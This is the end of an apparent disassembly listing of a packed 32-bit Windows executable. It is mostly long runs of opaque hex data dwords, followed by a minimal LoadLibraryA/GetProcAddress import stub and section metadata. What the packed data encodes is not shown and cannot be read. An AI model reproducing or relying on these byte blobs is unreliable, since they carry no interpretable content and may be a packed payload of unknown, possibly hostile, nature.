6DCA4366h, 0AC69C736h dd 0D432DEE8h, 197E8162h dd 98727564h, 979EDF67h, 26657629h, 1ABC2037h, 7A83A161h dd 54510A0Ch, 64289430h, 75658D93h, 6F7562F0h, 79262167h dd 0AC8D766Fh, 495B2E1Fh, 0A05741E6h, 0EC46FDD3h, 86BC656Bh dd 0FAE82CFh, 6F24F8C3h, 0AABCDB66h, 0FA6D1DCDh, 2D209453h dd 2169A681h, 28284100h, 72B9EF2Fh, 1E9F4529h, 68542429h dd 396165A8h, 0A451E795h, 0FD36A245h, 8C1D06D0h, 644D9444h dd 8A2E9861h, 0F8322998h, 0CE6FB33Fh, 9F0A4065h, 48369068h dd 917B4E70h, 0D589A82Fh, 68B531EFh, 0A18F3130h, 986564FCh dd 544952BDh, 2D1A9A70h, 0A89276B5h, 90103B2Eh, 4D28A79Ch dd 0AA00D95h, 20642961h, 48383288h, 0A6112FBh, 0FA83658Fh dd 0A3A0820Dh, 328AAC3Ah, 6ADEE437h, 0FAB8E277h, 1AE73814h dd 642B57D4h, 8355938h, 0FE755470h, 81694C76h, 0A144D478h dd 52CA26E5h, 34532886h, 795FF360h, 6892B256h, 2007B22Fh dd 8EE384DDh, 39312B60h, 704DCEF8h, 0EFEC4D80h, 6F872148h dd 0B22C94E8h, 8E683338h, 243B824Ah, 0B4691A64h, 372481ACh dd 776D261Fh, 8768ECB2h, 91C961C0h, 305E6B06h, 37E41856h dd 3BB82A35h, 64725F6Eh, 98F5CAF3h, 0E7757146h, 0E7D24DDFh dd 0E53A528Bh, 2126C92Dh, 5FF5EF69h, 12D262F4h, 983AEF26h dd 7C41A489h, 77F3B177h, 39E2C4A2h, 56226D8Dh, 938356B6h dd 2C5CCC68h, 0E3AD3891h, 0A75F59Fh, 0E4587329h, 0E9662232h dd 0B16274C5h, 0CBC8E41h, 43D097D2h, 0D9643564h, 4D0294C2h dd 0B6D26ABAh, 562C6619h, 43E698EAh, 1022E32Bh, 0F5B24CCBh dd 5D0A2806h, 6022E6Eh, 735E703Ch, 6EDBA967h, 504366D3h dd 777BA26Bh, 33F03E68h, 0A78845C4h, 505CCA21h, 203A4327h dd 0C6A9795Fh, 2E09F832h, 9C785A41h, 450B74DCh, 50AB916Eh dd 5ADA9849h, 454B0E8Ch, 4C6B4E52h, 442E0783h, 0BC4469AFh dd 83206556h, 9C736C46h, 8030CB1h, 5674B953h, 0A475A542h dd 413C470Ch, 22535FFh, 0B658283Ch, 9CFD7570h, 102A2905h dd 3665FBFFh, 3090617h, 3F86901h, 2BB10BEh, 2450499h, 70350805h dd 29505430h, 1C387820h, 12080758h, 57400F37h, 0FE20373Eh dd 0EA17283Fh, 0DA687260h, 99431203h, 0B8FF0396h, 0FE3C6E45h dd 5CD0F37h, 49050F07h, 431AF58Bh, 606A1572h, 6B99A709h dd 0E9697141h, 43C64370h, 511D96D4h, 0F3CE6B51h, 0E8896C9Ah dd 186D544h, 3020103h, 60504h, 0B0A098Eh, 0F0E0D0Ch, 12111000h dd 16151413h, 19180017h, 1D1C1B1Ah, 20001F1Eh, 24232221h dd 272625h, 2B2A2928h, 2F2E2D2Ch, 3200F998h, 36353433h dd 393837h, 3D3C3B3Ah, 41403F3Eh, 44434200h, 48474645h dd 4B4A0049h, 4F4E4D4Ch, 52125150h, 0FA5453h, 5A595880h dd 5D0B5C5Bh, 4605F5Eh, 4B8263A1h, 69316066h, 6C6B126Ah dd 70AC026Dh, 0F6607271h, 77007675h, 7B7A7978h, 707E7D7Ch dd 9645907Fh, 0A157E474h, 53CC4317h, 2A5CDFCh, 0E8605518h dd 622A4F72h, 494CCB6Ah, 10BEE5BEh, 4C3E1C20h, 63698EEFh dd 0A450E249h, 14225BA8h, 47841084h, 0A5C75890h, 42E76761h dd 246478B6h, 29E15355h, 800643DEh, 819B868Bh, 38993ACh dd 827E107Ah, 54821448h, 2DE858Ah, 7A1F2635h, 889250DCh dd 27285644h, 24578C83h, 4F8D0748h, 0E788983Eh, 32DC2820h dd 2E096DB7h, 84025A8Fh, 9087077Fh, 0AD067716h, 5501A188h dd 25F2071h, 0D06F2821h, 234838AFh, 0B84D910h, 81A222D1h dd 1420296h, 29400EFDh, 2640282h, 893CD12Fh, 0DD029520h dd 8AEA6891h, 17520201h, 236C901h, 21024AFFh, 2917E02h dd 2AFF02C8h, 0E4028F00h, 0E70E5014h, 4E0179C8h, 3078F401h dd 0DB02A702h, 93128047h, 0D327BAh, 83828180h, 86858400h dd 8A898887h, 8D8C008Bh, 91908F8Eh, 94009392h, 98979695h dd 9B9A99h, 9F9E9D9Ch, 0A3A2A1A0h, 0A6A5A400h, 0AAA9A8A7h dd 0ADAC00ABh, 0B1B0AFAEh, 0B400B3B2h, 0B8B7B6B5h, 0BBBAB9h dd 0BFBEBDBCh, 0C3C2C1C0h, 0C6C5C400h, 0CAC9C8C7h, 0CDCC00CBh dd 0D1D0CFCEh, 0D400D3D2h, 0D8D7D6D5h, 0DBDAD9h, 0DFDEDDDCh dd 0E3E2E1E0h, 0E6E5E400h, 0EAE9E8E7h, 0EDEC00EBh, 0F1F0EFEEh dd 0F400F3F2h, 0F8F7F6F5h, 9FBFAF9h, 0FFFEFDFCh, 9454D965h dd 0D994D6B9h, 5500295Dh, 5AD5804Ah, 35FA5973h, 57802920h dd 3A134867h, 7A398F6Dh, 6402C84Ah, 4D202C84h, 6E09685Dh dd 18190379h, 763F072Fh, 0FB50DCC8h, 95A4103h, 58B17812h dd 59C7368h, 72766F4Eh, 0BE564F0Ch, 537F0B20h, 15AC7079h dd 6775411Ch, 0D5837396h, 0AC6CC24Ah, 426E1044h, 70410265h dd 236C6972h, 63C1614Dh, 65461068h, 0BC75F262h, 854AC744h dd 0D10B5A6Eh, 20586008h, 84C8254h, 71324448h, 40448879h dd 34833C20h, 0DA98487Ch, 53F364FCh, 0BE444644h, 6865540Ah dd 14317326h, 43E76557h, 54140DFAh, 4D820A75h, 11A26E6Fh dd 89B7553h, 43C8841h, 28301038h, 41A22441h, 2517DB04h dd 4F41336Dh, 22B05DA3h, 288A8A83h, 9FA29891h, 0AD28A68Ah dd 8ABBA2B4h, 3FC913C2h, 0E47C4303h, 24543855h, 47483842h dd 5A912FB9h, 76DAE470h, 4650427Ch, 27EC802h, 2C9DAC34h dd 81F4C0Ah, 10FA9C45h, 0B44A0836h, 2E67242Ah, 84D2D78h dd 8021019h, 10303AD4h, 20AF3B0Eh, 3C40B042h, 0A7C4D047h dd 87807844h, 38CE2BA8h, 99219D66h, 0A13C1128h, 18F86818h dd 0C288AF51h, 473C6468h, 6609C5D8h, 0F9155C28h, 7785685Ah dd 19486A75h, 1D387709h, 1120B5D2h, 0E55F235Bh, 0AC606CC0h dd 0CC887A47h, 817BA278h, 0E8BFD2B9h, 4082310Ah, 0F10880D4h dd 4240AF85h, 433C8942h, 9270C68Ch, 0AD747438h, 9AA94340h dd 57C5383Ah, 9DDAE180h, 7CE11037h, 85205EA4h, 0C07EA9F7h dd 40B77B15h, 0B847E0E8h, 1FBB41E1h, 7EBDF385h, 0BF7116E0h dd 3DCF8CA2h, 15486E93h, 0E868C2E4h, 20C357C6h, 4C588A1h dd 0C2F6F0FBh, 0CCD402B7h, 117B0FD1h, 46202186h, 6CC444EEh dd 16884EF1h, 0F02EE8A8h, 0B7EA6C17h, 0B0B4FA74h, 116480BDh dd 3481409h, 13221091h, 890D0144h, 2404120Ah, 9109486Fh dd 44022215h, 0B899712h, 17243412h, 53835250h, 708B656Ch dd 0A581114Bh, 63ED7845h, 4DCC302Fh, 7565646Fh, 0CDAC4630h dd 0D4614E27h, 93D22C41h, 0FE7443E0h, 4A939F54h, 43262185h dd 1C27F775h, 512D4E6Eh, 696E1749h, 6C689EB1h, 480D7ABCh dd 90646E61h, 1E0D421Dh, 70EC5409h, 0ED65A379h, 0F5441E73h dd 6F3E49BDh, 5720792Ah, 18466453h, 686DBE9Fh, 0C3A1958h dd 323F3352h, 2278A74Eh, 866157A4h, 4F564684h, 42EA8653h dd 27AE9B97h, 0C6EE542Dh, 2D389F87h, 14A3424Fh, 0D6488E0Fh dd 3C39C4B2h, 6CE26FF4h, 70E46866h, 80536E32h, 0EA7F73CFh dd 65521E1Ch, 0B076556Dh, 0EB8272F6h, 1274F41Ah, 4AFD765Ah dd 6EB1E830h, 3EF7FFDDh, 1D417562h, 0AB70932h, 141041CCh dd 1311647Fh, 2B40A338h, 4C456C73h, 894F08BDh, 3B0C0D04h dd 3CEBF029h, 59C8727Ch, 71566E24h, 78E1924Dh, 920D5229h dd 0F9A9E157h, 6CAECF66h, 53571E30h, 8AE25F53h, 6729E0D0h dd 144B9ECBh, 0E7930E79h, 41E35068h, 3FA420A6h, 8D113FD0h dd 9A063451h, 546BE948h, 6E1DD8E8h, 4167C966h, 1786AA16h dd 0CCA3F2A6h, 116CFE29h, 0F6E244Dh, 39F5678Ah, 369C34F5h dd 4C912016h, 16691148h, 37268453h, 2C204D43h, 98A57288h dd 0AD217521h, 90124194h, 0A4BED19Dh, 7239D4ECh, 86D05FD2h dd 409132BCh, 46D388C8h, 896F3818h, 33737565h, 4ECE6974h dd 40407256h, 0A3AC6CE3h, 41C185BDh, 1D036E6Dh, 705C3744h dd 2768C578h, 56AE2FB3h, 8E4950A4h, 0AD7E4C78h, 53504311h dd 0D4C4BADh, 2CC5485Bh, 0C04ED29h, 713E059Dh, 0C76441B8h dd 0D3732238h, 928ED14Ch, 0E0035029h, 4C238E6Dh, 9F7C574Ch dd 4256BCB1h, 0CA7E738Ah, 4829D734h, 865E89A0h, 7EC38634h dd 0F7A59F75h, 99FE8E41h, 68F55529h, 8E3D6757h, 0A5702496h dd 55C3151Ah, 1FD13616h, 0DC9849ACh, 76157BF1h, 0BB502AC3h dd 3A2DABD2h, 943E796Ah, 29944C31h, 0D65A1776h, 2B993442h dd 46562F18h, 8625AEECh, 682C990Eh, 2BBE4AE2h, 35F04D4Eh dd 4D79F93Fh, 5E00260Eh, 0B3B65226h, 44102973h, 2D86CE64h dd 357AC754h, 0E67CAC1Dh, 1A535319h, 49CA88D1h, 6B494CAEh dd 16DD0F90h, 0AEB928B5h, 36582857h, 73685DA9h, 46655C7Ah dd 30448F3Eh, 799822F4h, 546D8968h, 417887B7h, 154DAE9Ah dd 786B2266h, 411CBB73h, 0ECA0CD2Dh, 0F6F15239h, 0F277AC41h dd 50E48008h, 0C08F589h, 681AD041h, 4D454FC2h, 0BC880C92h dd 166997DEh, 0E59FE5F7h, 226C4467h, 0AEF445E3h, 0F1755359h dd 9B735C30h, 5219A136h, 5791321Fh, 65B4CB74h, 54729C20h dd 0A3BD4D6Fh, 0A77942FEh, 497C48FAh, 97D54057h, 5C61E296h dd 7954E078h, 0A672F370h, 642D5088h, 1379A2BDh, 281E4227h dd 52442C51h, 32533872h, 6C5A73DEh, 0CF92BD3Ah, 0D210FA08h dd 32934EE6h, 54115312h, 0D0B0420Ch, 92C542BBh, 247F1699h dd 7049CAC1h, 70BE74FFh, 108FC3ACh, 7C2D5716h, 0C2220E04h dd 8512BE41h, 0DA9024F6h, 9C8EAC46h, 0C7AA4156h, 70A6754Fh dd 3CC08206h, 0EC72F926h, 488A8AD2h, 687314B3h, 38423C0Dh dd 701FDD66h, 7FD501ADh, 766E4984h, 0E04EFAADh, 744A73C9h dd 5EFB4CD4h, 95CBA5CDh, 0F9D38F6h, 5BE8B398h, 637553C2h dd 7D522074h, 0E55C1B3Ah, 767BFA3Ah, 639B14A7h, 0AAFCE458h dd 0C9971446h, 0A551992h, 0E6CA7718h, 0DEE6B64h, 893FF050h dd 0FA2AA7A9h, 367C871Fh, 2CCA5012h, 71A75467h, 683A3896h dd 1E32ACD0h, 0E2E3833h, 362E356Ch, 926DE8D9h, 0E9E02539h dd 1C747168h, 722F3A70h, 3B22E19h, 48380C1Eh, 2F508F54h dd 2030A331h, 946E9F32h, 9D0DACB5h, 7978DCE8h, 0C72D4Bh dd 543AABFFh, 0D32C220Dh, 0D050BC2Ch, 5208B63Ch, 9E423243h dd 9169C64Bh, 0E568B981h, 0DF415B64h, 54C2595Fh, 745C4D45h dd 42F1C908h, 0F35C494Fh, 12731A52h, 8A325D56h, 0FA694641h dd 0B118D350h, 0B41A2B36h, 3C4A7E16h, 0DBF077A7h, 5060506Ch dd 0A74ED579h, 3C3C6437h, 809566D9h, 75415CD9h, 0FF109074h dd 77A77AE9h, 6C6CB0D1h, 346AF54Ch, 82CFAFEh, 29523A28h dd 0F385995Ah, 3F97B41h, 44C96CF8h, 0A568BD65h, 0DC81EB79h dd 699880FDh, 3A397325h, 2045242Ah, 1AAD6467h, 0C5C219Ah dd 0EA12182Fh, 0E4102850h, 0C35262BCh, 0C65CFF78h, 0F578F02Eh dd 85159BC2h, 399B6E2Bh, 0A1647220h, 38BB6DF9h, 0F6591BD1h dd 3ED89D3Eh, 344FACDh, 0F0F92B87h, 90797CBCh, 0CD77FC78h dd 0D1C6B26h, 0CCE4BD54h, 5A146D9Eh, 5913D63Eh, 73482B90h dd 681B9B90h, 0EF98AC6Dh, 6C3893B4h, 7BF5B7DAh, 61A2BDD3h dd 628DF549h, 0B226E336h, 4443842Eh, 4143804Dh, 61531449h dd 550FC466h, 0DC7D786Dh, 77082867h, 9AB09D41h, 4628504Bh dd 571B0834h, 52FC6265h, 0E89099FEh, 75E9528Fh, 418062F1h dd 77464756h, 0CEAD153h, 37673A76h, 3C556C3Eh, 10B4522Eh dd 4CA334B7h, 507885ADh, 3A61197h, 66704D16h, 899D54B2h dd 0C8D96D73h, 4DE84E19h, 4866FCA7h, 453D1B90h, 6753FE76h dd 0DA6D480Ch, 0D1464311h, 76D16477h, 0CB646BE6h, 0AD438A42h dd 7746020Ah, 6E0880BEh, 0E61ED06Ch, 2D0C6D29h, 9025362h dd 0F7A96956h, 5FCDD9F6h, 0C357F80Ch, 6C435F0Bh, 22ED6A71h dd 1C2156D8h, 700E3233h, 0D436D264h, 0A0048F49h, 0A37ABD01h dd 0BF19B11Fh, 16190199h, 0CA020991h, 4640803h, 5911848h dd 6440D22h, 12078909h, 7208240Ch, 4C0A3909h, 94870B1Ch dd 8D03C16h, 94580F29h, 11C81410h, 0D0041294h, 94212318h dd 41C81035h, 507243E4h, 4C523499h, 8A65318h, 29605753h dd 6C947C59h, 916DC818h, 44702220h, 0ACAE721Ch, 2B300653h dd 8194B480h, 2082CA08h, 84728364h, 12914899h, 329E2529h dd 90B9A110h, 0A7704CA4h, 0A0B7578Eh, 9120CE29h, 2418C9D7h dd 348F0C15h, 0D0160146h, 0B274F944h, 71E45102h, 43085B01h dd 200FF918h, 43FE3090h, 17EE420h, 384710E2h, 40D7A884h dd 0D47C5C8Ch, 50CDC410h, 0B8D44C10h, 28A9D678h, 9C10A98Ch dd 46105C9Ah, 11386470h, 910C4813h, 0D5D41018h, 0AC441922h dd 1274891Ah, 483C241Bh, 2214911Ch, 0D4F4201Eh, 89901F44h dd 24581220h, 0D3604421h, 0C0882208h, 227811D2h, 0A07944B0h dd 90127A89h, 8C48FC24h, 7C21FF91h, 0B88C0121h, 0C4A818D8h dd 2FAA0809h, 0BCF058Ch, 1D64FCAEh, 96720419h, 88D441Eh dd 0C88E438Eh, 0F90798Fh, 92E49121h, 9687933Ch, 78E07203h dd 0DEA730CEh, 0EE0187FEh, 0D620C810h, 4EBB1AE1h, 24B44DF6h dd 0ED6BEB20h, 0ADE26B5Ah, 0A4AA0422h, 4ABE0B9Ah, 1A503EAh dd 0A4B20402h, 826041E8h, 21537972h, 0DFA61418h, 0A5A18408h dd 0E09F8160h, 4008FC42h, 0A866807Eh, 0A3C11C61h, 0D4CDA4DAh dd 14FE8123h, 0B5CA0840h, 41915D30h, 0CF87B6C8h, 1A27E4A2h dd 0E867E507h, 406B5B84h, 0AA8A190h, 9C70551h, 0C02C5EDAh dd 0F06AEC5Fh, 0D3C08532h, 40E0DED8h, 7E5231F9h, 0DDAC133Ah dd 43C9BCA8h, 14FC3CC7h, 10410DA8h, 0AC01CABBh, 1248295Eh dd 0DBA84224h, 0E030D883h, 0E1B00810h, 621EEB4Ah, 302A0D1Dh dd 0EC880882h, 0DC525228h, 297B804Bh, 412A6082h, 0C60108B9h dd 7B72F971h, 0F460CA3Ch, 603E025Ah, 0B8AF0142h, 4A1EE103h dd 6D1A13EAh, 0AA083438h, 40D8DD40h, 9C8D4E3h, 22CC91D0h dd 0C0C444C8h, 0B012B889h, 9C48A824h, 88229091h, 89787C44h dd 24701274h, 9168486Ch, 44602264h, 5489585Ch, 4C245012h dd 38914448h, 28533022h, 44202230h, 4891018h, 3E2FC11h dd 0E40922F0h, 89DCE044h, 24BC12D0h, 40945B0h, 0BC4C288Eh dd 443CB492h, 7429DCB2h, 5354041Dh, 0C58017Fh, 2E8BF04Dh dd 247743Eh, 217080C5h, 3EF1F020h, 245070CCh, 0FD905453h dd 4044508Ah, 0B8B015FDh, 8909F035h, 91A46698h, 0BAFE880Ch dd 0B494655Eh, 9C83BECh, 2278915Ah, 0D4B54497h, 1112F389h dd 930D9A6h, 8A6D4E44h, 123A3431h, 48772459h, 22B49196h dd 10F244D3h, 4D122F89h, 14CE6C27h, 0FFAFFA01h, 60h, 1CFD8h dd 2 dup(0) dd 1F2h, 1CFD8h, 5 dup(0) dd offset loc_401000 dd offset dword_415000 dd offset off_40E844 align 8 dd offset off_41CFC8 dd 80h, 7D00h, 12FFC4h off_41CFC8 dd offset dword_400160+88h ; DATA XREF: seg002:0041CFB8o dd offset dword_400160+7Ch dd offset dword_400160+7Eh dd offset loc_404D7B dd 77E805D8h, 77E7A5FDh, 0 aLoadlibrarya db 'LoadLibraryA',0 align 2 aGetprocaddre_0 db 'GetProcAddress',0 align 1000h seg002 ends ; Section 3. (virtual address 0001E000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0001E000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 41E000h dd 80h dup(0) align 1000h _idata2 ends end start